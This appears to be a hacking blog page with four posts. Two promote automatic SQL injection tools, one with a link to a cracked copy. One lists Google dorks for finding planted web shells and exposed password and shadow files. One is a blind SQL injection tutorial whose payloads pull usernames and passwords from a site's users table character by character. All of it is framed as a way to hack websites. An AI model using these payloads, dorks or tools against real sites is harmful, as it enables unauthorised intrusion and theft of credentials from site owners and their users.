Pangolin : Automatic SQL Injection & PenTesting Tool

Pangolin is an automatic SQL injection penetration testing tool developed by NOSEC. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.

 
Database Support

• Access: Informations (Database Path; Root Path; Drivers); Data
• MSSql: Informations; Data; FileReader; RegReader; FileWriter; Cmd; DirTree
• MySql: Informations; Data; FileReader; FileWriter;
• Oracle: Inforatmions (Version; IP; Database; Accounts ……); Data; and any others;
• Informix: Informatons; Data
• DB2: Informatons; Data; and more;
• Sybase: Informatons; Data; and more;
• PostgreSQL: Informatons; Data; FileReader;
• Sqlite: Informatons; Data

At present, most of the functions are directed at MSSQL and MySql coupled with Oracle and Access. Other small and medium-sized companies are using DB2, Informix, Sybase, PostgreSQL, as well as Sqlite which isn’t so common. download Pangolin here:
pangolin_free_edition_2.1.2.924.rar (Download Page)

Download Latest  Cracked Version 

http://www.multiupload.com/H5NWYJSASK

Read more »

website Hacking With Real SQL : Automatic SQL Injection Tool

REAL SQL was programmed by A Pakistani Hacker Adnan Anjum in REALBasic.

What is does is search through Google, using Google Dorks and tries each website for an SQL Injection Vulnerability and if it is successful it will return the vulnerable link to you! You can Easily Hack Vuln websites with Real SQL

See The Screen Shots Of Real SQL 

 Here is the search function and you can see it isGiving a vulnerable website 

 

The search is complete and there were Three  vulnerable websites found!

This is the save button making a .txt file of all the working links

 

Showing the contextual menu in the results box

Download 

password =  Logie

Download Details 

--------------------------------------------
name: Real SQL 

description: REAL Sql - V0.3 - Logie : Automatic SQL Injection Tool
 size: 1.01 MB
.................. ...........................................................................................................................................................................................

 Don't Forgot to say Thanks if you Like This Post  Just Leave a Comment below 

Read more »

Google private dorks

How to Find Uploaded shell By Google dork (priv8 dorks)

Go to Google.com and type these Dorks, and you will got a Lot of uploaded shells in Google serach results !!

Dorks for finding shells 

inurl:.php "cURL: ON MySQL: ON MSSQL: OFF"

"Shell" filetype:php intext:"uname -a:" "EDT 2010"

intitle:"intitle:r57shell" [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]

inurl:"c99.php" & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

inurl:"c100.php" & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

intitle:"Shell" inurl:".php" & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update 

Dorks for finding Passwords

filetype:htpasswd htpasswd
intitle:"index of" ".htpasswd" -intitle:"dist" -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurlasslist.txt (para encontrar listas de passwords)
intitle:"index of..etc" passwd
intitle:admin intitle:login
"incorrect syntax near" (sql script error)
intitle:"the page cannot be found" inetmgr (debilidad en iis4)
intitle:index.of ws_ftp.ini
"supplied arguments is not a valid postgresql result" (possible debilidad sql)
_vti_pvt password intitle:index.of (frontpage)
inurl:backup intitle:index.of inurl:admin
"index of /backup"
index.of.password
index.of.winnt

inurl:"auth_user_file.txt"
"index of /admin"
"index of /password"
"index of /mail"
"index of /" +passwd
index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurlasswd filetype:txt
inurl:admin filetypeBig Grinb
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:"index of" .sh_history
intitle:"index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.1st
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members or accounts
intitle:"index of" user_carts or user _cart 

Read more »

blind sqli tutorial for hacking website

Hacking a website with blind sqli / bling sqli tutorial full free

what is Blind SQLi 


Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established


Blind SQLi Tutorial 
Let’s Start…………                

Suppose That You want to Hack This website with Blind SQLi

http://site.com/index.php?id=5

when we execute this, we see some page and articles on that page, pictures
etc…

then when we want to test it for blind sql injection attack

http://www.site.com/index.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test

http://www.site.com/index.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then
that site is vulnerable to blind sql injection.

1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/index.php?id=5 and (select 1)=1
if page loads normally then subselects work. then we gonna see if we have access to mysql.user
i.e
http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can
pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :) i.e.
http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1
(with limit 0,1 our query here returns 1 row of data, cause subselect
returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users
exits.
if you get FALSE (some article missing), just change table name until you
guess the right one :)
let's say that we have found that table name is users, now what we need is
column name.
the same as table name, we start guessing. Like i said before try the
common names for columns.
i.e
http://www.site.com/index.php?id=5 and (select substring(concat(1,
password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get
false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first
character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull
characters from that.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii()
converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter
we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
returns the second character, 1 character in lenght)
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have
'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know
that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best,
but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this Tutorial.
Have FUN! :)

To be continued and updated…

Read more »